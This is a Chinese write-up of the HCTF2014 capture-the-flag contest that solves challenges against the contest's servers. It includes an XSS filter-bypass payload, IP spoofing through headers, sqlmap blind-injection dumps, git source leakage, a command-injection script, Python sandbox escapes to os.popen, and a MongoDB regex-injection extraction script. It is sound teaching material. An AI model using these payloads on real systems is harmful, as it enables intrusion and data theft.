HCTF2014 Writeup

由于本届HCTF和XCTF合作了 导致了很多参赛同学以为在time.xctf.org.cn上做题呢

感觉几个传统的CTF赛棍团队还是发挥很正常的 我们这些非赛棍纯当去学习学习如何被虐

不管题目怎样折磨我千万遍 现在重新看题 感觉题目的质量还是有一点的 虽然很多都是被花哨的表象所迷惑~

也有一些抱怨 主办方应该听取而不是一味的压制

很多同学表示参加了队伍 也没收到邮件
很多同学表示比赛组织的太糟糕了

HCTF2014 Writeup

丘比龙的最爱

传说，丘比龙是丘比特的弟弟，丘比龙是一只小爱神，虽然有两只翅膀，但因为吃多了，导致身体太胖，所以飞不起来~那么问题来了?!丘比龙吃什么食物吃多
了变胖了

百度之 “甜甜圈”

nvshen

猫流大大发现一个女神，你能告诉我女神的名字么（名字即是flag）
http://107.189.158.112/0aab9b20410fdd880c53922048023266/nvshen.zip

解压nvshen.zip 的nvshen.txt 里面一长串base64字符
直接浏览器打开
data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAdIAAAGUCAYAAACBYaNHAAAKQWlD。。。。。（省略，自行补充完）"
得女神图片 孤陋寡闻 不太认识 那也不急

直接 image.google.com 上传图片 找类似图片

得知女神为 爱新觉罗·启星 测试了不对  那就测试 "爱新觉罗启星" pass~

babyCrack

107.189.158.112/d55757a7ccf958399789e18e1d8199de/babyCrack.zip

peid发现是.net程序 果断ILSpy打开发现flag hctf{bABy_CtsvlmE_!}

GIFT

主办方准备了一个礼物! http://121.40.86.166:39099

右键查看源码 发现注释 
下载备份文件
http://121.40.86.166:39099/index.php.bak
读取代码
<?php     
$flag='xxx';     
extract($_GET);     
if(isset($gift)){        
    $content=trim(file_get_contents($flag));
    if($gift==$content){ 
       echo'hctf{...}';     }
     else{       
       echo'Oh..';}   
     } 
?>

知道考察变量覆盖 构造

http://121.40.86.166:39099/index.php?gift=&flag=aaa

成功获取flag
hctf{Awe3ome_Ex7ract!!!}

babyCrack2

107.189.158.112/e81cbc49ae92b00d3b55430f21cbe2fe/babyCrack2.zip

将每个字符都-1得 flag

hctf{2_4ts_BBaY_CtrmE_23}  各种提交都不对 被官方恶心到了

后来发现Hint 4. babycrack2小学弟出题失误，已更换flag。

搞不懂  然后直接提交 idug|3`5ut`CCbZ`DusnF`34~ 这个才对  晕倒

Entry

57R9S980RNOS49973S757PQO9S80Q36P 听说丘比龙一口气能吃"13"个甜甜圈呢!

非职业选手 说13还以为57R9S980RNOS4
估计职业选手看格式估计就知道是
rot13解密
http://www.mxcz.net/tools/rot13.aspx 解密后得  或者直接Hackbar里面的Rot13解密 so easy
57E9F980EABF49973F757CDB9F80D36C

cmd5.com购买一下得flag为Qoobee 又是可恶的丘比龙 感觉不会再爱了

jianshu

感情受挫的Airbasic经过王子的一番调教，明白了人之贱则无敌的道理...... http://121.41.37.11:25045

贱术讨论  根据Hint:≈Easy-XSS

直接提交xss会被js弹提示

burp提交发现会过滤掉src

可以构造绕过

123@163.com"><img srsrcc=# oonnerror="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#120;&#39;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">

这个payload比mouseover好使

迅速的抓到URL和一个无用的cookie

访问http://121.41.37.11:25045/get.php?user=V1ew

请用特定IP访问!

我们改x-forwarded-for为抓到的ip 218.75.123.186

登录后台自己会被xss 这是显然  但是有一点是 你可以crontab无限刷 达到其他队伍获取不了真实IP的目的

后来官方加了验证码 直接访问

http://121.41.37.11:25045/get.php?user=guest
就会被验证码那机制提示 ： 你是机器嘛？
直接访问
http://121.41.37.11:25045/get.php?user=admin
你想多了...

后面user参数变为其他则提示“没有user参数可对应的值，如果忘记了请翻翻数据库中的log吧”

愁不过

扫了一下目录

http://121.41.37.11:25045/img/ 【目录遍历漏洞】
http://121.41.37.11:25045/config.php
MYSQL connect Error!No such file or directory
http://121.41.37.11:25045/lib.php

http://121.41.37.11:25045/data.php
http://121.41.37.11:25045/databases.php
http://121.41.37.11:25045/databases.php
。。。。
含有data的都403
http://121.41.37.11:25045/.htaccess

扫一下端口

Discovered open port 22/tcp on 121.41.37.11
Discovered open port 9999/tcp on 121.41.37.11
Discovered open port 54250/tcp on 121.41.37.11
Discovered open port 25045/tcp on 121.41.37.11

发现了本次比赛最为严重的多处泄题 不过官方表示无所谓 那就无所谓吧~

矩阵游戏
http://121.41.37.11:9999/
[[0, 0], [0, 0]]Please input a coordinate(x, y):

DROPS
 http://121.41.37.11:54250/

无奈又研究起刚做就关注到的2个图片 以为有文件包含漏洞 测试不对

http://121.41.37.11:25045/1.jpg
http://121.41.37.11:25045/2.jpg

http://121.41.37.11:25045/img.php?file=1.jpg
http://121.41.37.11:25045/img.php?file=2.jpg

http://121.41.37.11:25045/img.php?file=get.php
PHP file???What are you doing!

http://121.41.37.11:25045/img.php?file=get.php%00.jpg
return 0 , No this Image!!!

http://121.41.37.11:25045/2.jpg
[!] legal disclaimer:Usage of sqlmap for attacking targets without prior mutual
consent is illegal.It is the end user’s responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

做到最后 官方又出来坑爹的Hint：5. jianshu HINT: 管理员很贱会误导你们。

队员说是盲注 也就是闭着眼睛就注出来了

python sqlmap.py -u "http://121.41.37.11:25045/img.php?file=2*.jpg" --dbs --level=5 --risk=3 --threads=10

[18:41:38] [INFO] URI parameter '#1*' seems to be 'MySQL > 5.0.11 AND time-based
blind' injectable

Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://121.41.37.11:25045/img.php?file=2'||(SELECT 'dqrP' FROM DUAL
WHERE 5172=5172 AND SLEEP(5))||'.jpg
---
[18:44:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.23, Apache 2.4.2
back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] t2_db
[*] test

python sqlmap.py -u "http://121.41.37.11:25045/img.php?file=2*.jpg" --tables -D t2_db --level=5 --risk=3 --threads=10

Database: t2_db
[3 tables]
+---------+
| content |
| file    |
| log     |
+---------+

python sqlmap.py -u "http://121.41.37.11:25045/img.php?file=2*.jpg" --dump -T log -D t2_db --level=5 --risk=3 --threads=10
Database: t2_db
Table: log
[3 entries]
+----------+-------+
| type     | param |
+----------+-------+
| A1rB4s1C | user  |
| guest    | user  |
| V1ew     | user  |
+----------+-------+

Airbasic 好吧

根据上面的结果 很明显了：

http://121.41.37.11:25045/get.php?user=A1rB4s1C

咦，程序无法判断你的IP了，你是管理员吗？

继续x-forwarded-for 218.75.123.186

欢迎你，管理员！
hctf{Why_are_U_S0_DIA0?????}

于情于理总算是说的通了 也卡住了我们太久 可恶

IRC

听说丘比龙带着flag躲到HCTF官方IRC里去咯 大家快去找他要flag~

做上面题目都已经懒的做了 然后更不想去IRC 这题就没做 后来得知

这题略坑，irc里面一个一个人的点whois，得到flag……

flag hctf{ZXwz__ym_dinDIM_daDi_!}

NormalFile

你能找到其中的深意么？ http://107.189.158.112/fdd9df21d6c5d65fe519f69f8424d65b/NormalFile.jpg

3d457d02f17deecf19606ba40ed24e14
cmd5解密是flag.png 很明显欺骗了我们的感情

尝试
NormalFile\_MACOSX\3d457d02f17deecf19606ba40ed24e14\3d457d02f17deecf19606ba40ed24e14.png再改成rar
解压得APK目录 果然jdui查阅一下 整理

又看到strings.xml里有一个奇怪的字符串

两个加号的形式很眼熟啊~

  得 flag  hctf{4nDr01cl10l|!pQp}

FuckMe

Come on, Fuck me! http://107.189.158.112/332984bbb9c24bae6487b3c336a30a6c/fuckme.php

不是科班出生 不是学院派出生 没学过密码学

看到那么多乱文 感觉靠 换字式密码：计算了下字母出现频率然后解密了

感谢善上若水提供自己思路 先也是替换非打印字符 附上py脚本 （主要fuckme.txt得保存为utf8格式）

# -*- coding:utf-8 -*-

import string

#读取密文
clipertxt=open("fuckme.txt").read().decode("utf-8")

#读取去除ascii字符以外的密文字符集
mwcharset=set(clipertxt)-set(string.printable)

#将密文字符集作为key，英文字母作为value拼成字典
dict=dict(zip(mwcharset,string.letters))

#将密文中加密的字符替换成英文字母
for key in dict:
    clipertxt=clipertxt.replace(key,dict[key])

print clipertxt

然后果断用win Decrypto 8.5  （小编友情提供下载地址：WinDecryptoSetup）或者

直接 http://www.quipqiup.com/index.php solve

替换后得一串文字 跟http://en.wikipedia.org/wiki/Frequency_analysis 基本吻合 搜索flag

得flag为hctf{enjoyyourselfinhctf}

wow

https://qoobee.org/~leoc/hctf2014/wow/wow
不会做 参考sigma的

看了一个文件是ELF 64位，OD加载运行试了下，出错了，直接用IDA分析，流程结构很简单，关键地方如下：

经过分析，发现这是22元一次方程，编写脚本计算，可得KEY，脚本如下：（得先安装numpy）

import sys
import numpy
NUM = 0x16
matrix = [[0 for col in   range(NUM)] for row in range(NUM)]  
strings = [
"ThelightTokeepinmindtheholylight",
"Timeismoneymyfriend",
"WelcometotheaugerRuiMa",
"Areyouheretoplayforthehorde",
"ToarmsyeroustaboutsWevegotcompany",
"Ahhwelcometomyparlor",
"Slaytheminthemastersname",
"YesrunItmakesthebloodpumpfaster",
"Shhhitwillallbeoversoon",
"Kneelbeforemeworm",
"Runwhileyoustillcan",
"RisemysoldiersRiseandfightoncemore",
"LifeismeaningleshThatwearetrulytested",
"BowtothemightoftheHighlord",
"ThefirstkillgoestomeAnyonecaretowager",
"Itisasitshouldbe",
"Thedarkvoidawaitsyou",
"InordertomoregloryofMichaelessienray",
"Rememberthesunthewellofshame",
"Maythewindguideyourroad",
"StrengthandHonour",
"Bloodandthunder"
]
verify=[
0x000373ca,
0x00031bdf,
0x000374f7,
0x00039406,
0x000399c4,
0x00034adc,
0x00038c08,
0x00038b88,
0x00038a60,
0x0002b568,
0x00032471,
0x00037dea,
0x00036f97,
0x000378e4,
0x00038706,
0x00029010,
0x00034c23,
0x00038ef8,
0x00038e29,
0x0003925e,
0x0002b5fc,
0x0002584e
]
def gen_matrix():
       #init
       for   x in xrange(NUM):
              for   y in xrange(NUM):
                     matrix[x][y]   = 0
       #assign
       for   x in xrange(NUM):
              _len   = len(strings[x])
              for   y in xrange(_len ):
                     if  y >= NUM:
                            break;
                     matrix[x][y]   = ord(strings[x][y])
result  = [ 104,    99, 116, 102, 123,  76,  74,    95, 121,  54,  99, 100, 99,  95, 113, 119, 101, 101, 114, 116,  33, 125]
if __name__ == '__main__' :
       gen_matrix()
       verify   = numpy.array(verify )
       matrix   = numpy.array(matrix )
       print   numpy.linalg.solve(matrix,verify)
       for   x in xrange(len(result)):
              sys.stdout.write(chr(result[x]))

二次元

二次元中你最喜欢谁呢？ http://121.40.86.166:47332/

二次元的世界真心不能理解 做不来

丘比龙的七彩甜甜圈

nc 121.41.37.11 4096 flag: md5sum 丘比龙.jpg

7. 甜甜圈那道题存在逻辑错误，现在已下线。已获得flag的队伍将退回分数，造成不便给各位道歉。

wzwzDingDing

https://qoobee.org/~leoc/hctf2014/wzwzDingDing/wzwzDingDing丘比龙的好友朝鲜王子自从被丁丁击败之后.....推出了王子丁丁~! 
flag: HCTF{'intput'.encode('hex')}

https://qoobee.org/~leoc/hctf2014/wow/   //这个时候wow还没放出来 目录遍历 官方又无脑泄题流

text:0000000000012D90 ShellCode       db 10h                  ; DATA XREF: sub_12250+25o
.text:0000000000012D91 ; ---------------------------------------------------------------------------
.text:0000000000012D91                 push    rcx
.text:0000000000012D92                 push    rdx
.text:0000000000012D93                 push    rbx
.text:0000000000012D94                 push    rbp
.text:0000000000012D95                 push    rsi
.text:0000000000012D96                 push    rdi
.text:0000000000012D97                 nop
.text:0000000000012D98                 nop
.text:0000000000012D99                 push    r9
.text:0000000000012D9B                 push    r10
.text:0000000000012D9D                 push    r11
.text:0000000000012D9F                 push    r12
.text:0000000000012DA1                 push    r13
.text:0000000000012DA3                 push    r14
.text:0000000000012DA5                 push    r15
.text:0000000000012DA7                 nop
.text:0000000000012DA8                 nop
.text:0000000000012DA9                 nop
.text:0000000000012DAA                 nop
.text:0000000000012DAB                 nop
.text:0000000000012DAC                 nop
.text:0000000000012DAC
.text:0000000000012DAD
.text:0000000000012DAD loc_12DAD:                              ; CODE XREF: .text:0000000000012DCBj
.text:0000000000012DAD                 mov     rsi, 0
.text:0000000000012DB4                 mov     rax, [rsi+rcx]
.text:0000000000012DB8                 xor     rax, 7
.text:0000000000012DBC                 mov     [rsi+rcx], rax
.text:0000000000012DC0                 nop
.text:0000000000012DC1                 nop
.text:0000000000012DC2                 nop
.text:0000000000012DC3                 nop
.text:0000000000012D**                 inc     rsi
.text:0000000000012DC7                 cmp     rsi, 0Bh
.text:0000000000012DCB                 jz      short loc_12DAD
.text:0000000000012DCB
.text:0000000000012DCD                 nop
.text:0000000000012DCE                 add     rsp, 28h
.text:0000000000012DD2                 pop     r15
.text:0000000000012DD4                 pop     r14
.text:0000000000012DD6                 pop     r13
.text:0000000000012DD8                 pop     r12
.text:0000000000012DDA                 pop     r11
.text:0000000000012DDC                 pop     r10
.text:0000000000012DDE                 pop     r9
.text:0000000000012DE0                 pop     r8
.text:0000000000012DE2                 pop     rdi
.text:0000000000012DE3                 pop     rsi
.text:0000000000012DE4                 pop     rbp
.text:0000000000012DE5                 pop     rbx
.text:0000000000012DE6                 pop     rdx
.text:0000000000012DE7                 nop
.text:0000000000012DE8                 pop     rax
.text:0000000000012DE9                 nop

flag HCTF{5041504883ec2859c3}

opensource

开源？闭源？ http://121.40.86.166:39339/

用的是art-cli

发现robots.txt下面的.git目录

查看到121.40.86.166:39339/.git/config

git导致源代码泄露 可以参见：http://www.wooyun.org/bugs/wooyun-2014-076372

可以用rip-git.pl直接下载

root@SecPulse:~/Desktop# chmod 777 rip-git.pl
root@SecPulse:~/Desktop# ./rip-git.pl -v -u http://121.40.86.166:39339/.git/

下载回来有这些文件

routes目录下有更pangci.js

var express = require('express');
var router = express.Router();
var fs = require('fs');
var path = require('path');
var cp = require('child_process');

router.get('/', function(req, res) {
var data = path.normalize('/tmp/flag');

if (req.param('pangci')) {
cp.exec(secure(req.param('pangci')) + ' ' + data, function (err, stdout, stderr) {
if (err) { res.end('Ohhhhh MY SWEET!!!YOOOOOO HURT ME!!') }
var limit = stdout.split('\n').slice(0, 5).join('\n');
res.end(limit);
});
} else {
res.end('HEY MY SWEET!!! I LOVE YOOOOOOOO!!!');
}

});

function secure (str) {
return str.replace(/[^\d\-a-zA-Z ]/g, '');
}

跟目录下有个app.js

var express = require('express');
var path = require('path');
var favicon = require('static-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');

var routes = require('./routes/index');
var pangci = require('./routes/pangci');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jade');

app.use(favicon());
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded());
app.use(cookieParser());

app.use('/', routes);
app.use('/ac6555bfe23f5fe7e98fdcc0cd5f2451', pangci);

/// catch 404 and forwarding to error handler
app.use(function(req, res, next) {
var err = new Error('Not Found');
err.status = 404;
next(err);
});

if (app.get('env') === 'development') {
app.use(function(err, req, res, next) {
res.status(err.status || 500);
res.render('error', {
message: err.message,
error: err
});
});
}

app.use(function(err, req, res, next) {
res.status(err.status || 500);
res.render('error', {
message: err.message,
error: {}
});
});

显然routes和参数都有了

那么直接测试

curl http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451?pangci=cat /tmp/flag

显然哪里不对的样子 好像只显示出了5行

尝试倒序读取，每5行倒读一次

curl http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451?pangci=wc -l /tmp/flag
142   735 11507 /tmp/flag
那么flag应该有143行 因为linux系统中wc -l 是统计换行符，最后一行没有换行符，故统计少一行

来个py跑一下

# /usr/bin/python
#coding:utf-8
import requests

t=""
surl="http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451/?pangci=tail%20-n%20"
for i in range(143,0,-5):
    s='%d'%i
    url=surl+s
    s = requests.Session()
    c = s.get(url)
    t += c.content
print t

flag为hctf{Ar3_you_an_op_3nsourc3_1ov_3r?}

FIND

Find what？ http://107.189.158.112/f60a0a6ffd7c297964a718dc21546975/stego_final.png

看下hex会发现 阿尔法通道隐藏了东西

stegsolve （stegsolve.jar下载地址戳这里 下载）点击下面按钮查看Alpha plane； 出来了个二维码

直接在win自带的画图里反色即可(PS当然也可以啦） 否则是扫不出来二维码的

微信都能扫出来

flag  {hctf_3xF$235#\x5e3}

真的能做嘛

nc 115.29.41.247 16720

//wait to update

starbucks

丘比龙暑假爱上了星巴克~
最新ip： nc 115.29.191.81 15878

Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> Traceback (most recent call last):
File "/home/starbucks/starbucks.py", line 26, in <module>
shell.interact()
File "/usr/lib/python2.7/code.py", line 243, in interact
more = self.push(line)
File "/usr/lib/python2.7/code.py", line 265, in push
more = self.runsource(source, self.filename)
File "/usr/lib/python2.7/code.py", line 87, in runsource
self.runcode(code)
File "/usr/lib/python2.7/code.py", line 107, in runcode
self.showtraceback()
File "/usr/lib/python2.7/code.py", line 154, in showtraceback
tblist = traceback.extract_tb(tb)
File "/usr/lib/python2.7/traceback.py", line 101, in extract_tb
line = linecache.getline(filename, lineno, f.f_globals)
File "/usr/lib/python2.7/linecache.py", line 14, in getline
lines = getlines(filename, module_globals)
File "/usr/lib/python2.7/linecache.py", line 40, in getlines
return updatecache(filename, module_globals)
File "/usr/lib/python2.7/linecache.py", line 132, in updatecache
with open(fullname, 'rU') as fp:
NameError: global name 'open' is not defined

输入错误才有回显 题目来源：http://rotlogix.com/2014/09/22/csaw-exploitation-200-pybabies/

参考sigma思路

在“真的能做吗”中拿到shell以后，闲逛发现居然能cat到starbucks.py，发现题目和Hack.lu 2012类似，然后

().__class__.__bases__[0].__subclasses__()[40](" /home/starbucks/grande/greentea/latte/flag").read()

小伙伴说还可以酱紫

cmd=().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"]

cmd=cmd.popen('ls -al')  #这里填写命令就行了

print cmd.read()

IWANNAFLAG

此题flag并非为标准形式。 I know you want a flag，have a try。 http://107.189.158.112/f9062b262e8fa35c94c8f8147cd66800/i-wanna-flag.apk

//wait to update

LOCK

救命啊我被锁住了！ http://121.40.86.166:23339/

<!-- wtf!! The key is the same as lock !! Can someone help to find the right lock ?!!!-->

先随便填提示得：It seeeeeeemed the lock is not right!!!(╯°□°）╯︵ ┻━┻

POST:lock=test&key=test

据说是考mongodb 注入姿势 来篇文章启发

https://community.rapid7.com/community/metasploit/blog/2014/06/12/you-have-no-sql-inj--sorry-nosql-injections-in-your-application

Post:lock[$not][$type]=test&key[$not][$type]=test

提示：Right, but it seemmed the key is not right!!!(╯°□°）╯︵ ┻━┻(╯°□°）╯︵ ┻━┻(╯°□°）╯︵ ┻━┻

可以参照info的http://th1nk.info/index.php/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/65.html

猜测原题代码大概是这样的：

<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
    $data = array(
        'lock'=>$lock);
    $data = $coll->find($data);
    if ($data->count()>0) {
        echo 'the lock is right,but wrong key';
    }else{
        echo 'lock is wrong';
    }
}else{
    if ($lock == 'aabbccdd'&&$key=='aabbccdd') {
        echo 'Your flag is xxxxxxx';
    }else{
        echo 'lock is wrong';
    }
}
?>

不直接list出数据 只有对和错两种回显 类似mysql的盲注了 只能通过正则一位一位的来 mongodb里面用$regex操作符

<?php
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i=0; $i <10 ; $i++) {
    for ($j=0; $j <strlen($ori) ; $j++) {
        $post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
        
        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
        $data=curl_exec($ch);
        if (strlen($data) == 319) {
           $str.=$ori[$j];
           echo $str."\r\n";
           break;
        }
    }
}
?>

key=1&lock[$regex]=^9
key=1&lock[$regex]=^9c
key=1&lock[$regex]=^9cc
key=1&lock[$regex]=^9cc3
key=1&lock[$regex]=^9cc32
key=1&lock[$regex]=^9cc32b
key=1&lock[$regex]=^9cc32bd
key=1&lock[$regex]=^9cc32bd6

9
9c
9cc
9cc3
9cc32
9cc32b
9cc32bd
9cc32bd6

HAHAHA

来呀！ http://107.189.158.112/099db12e3f57cc5f5035dd25dc89e60b/hahaha.pcap 本题flag形式为flag{xxxxxxxx}

//wait to update

Drops

[Lock]WHERE IS THE FLAG AND HOW TO CHANGE PASSWORD
ABOUT ME AND MY WRITING STYLE
I REPAIR A BUG

http://121.41.37.11:54250/article.php?id=1  第一题被Lock的 没权限

<!--
if ($id == 1){
if ($_SESSION["user"] ==....){
....
}else{
echo "<script>alert('......
}
-->

http://121.41.37.11:54250/article.php?id=2
Simple and Safe is my goal!
I broke up with my girlfriend , who's nick name,int,last week
I hate her,so I won't use int anymore!

http://121.41.37.11:54250/article.php?id=3
Last day I found some same usernames in my user table
that's dangerous.Then I found it's my reg.php that has bugs.
I repaired it ,fixed my php file,maybe perfect now
Now,only numbers can be used as username to reg

本文作者：secbaba

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/1916.html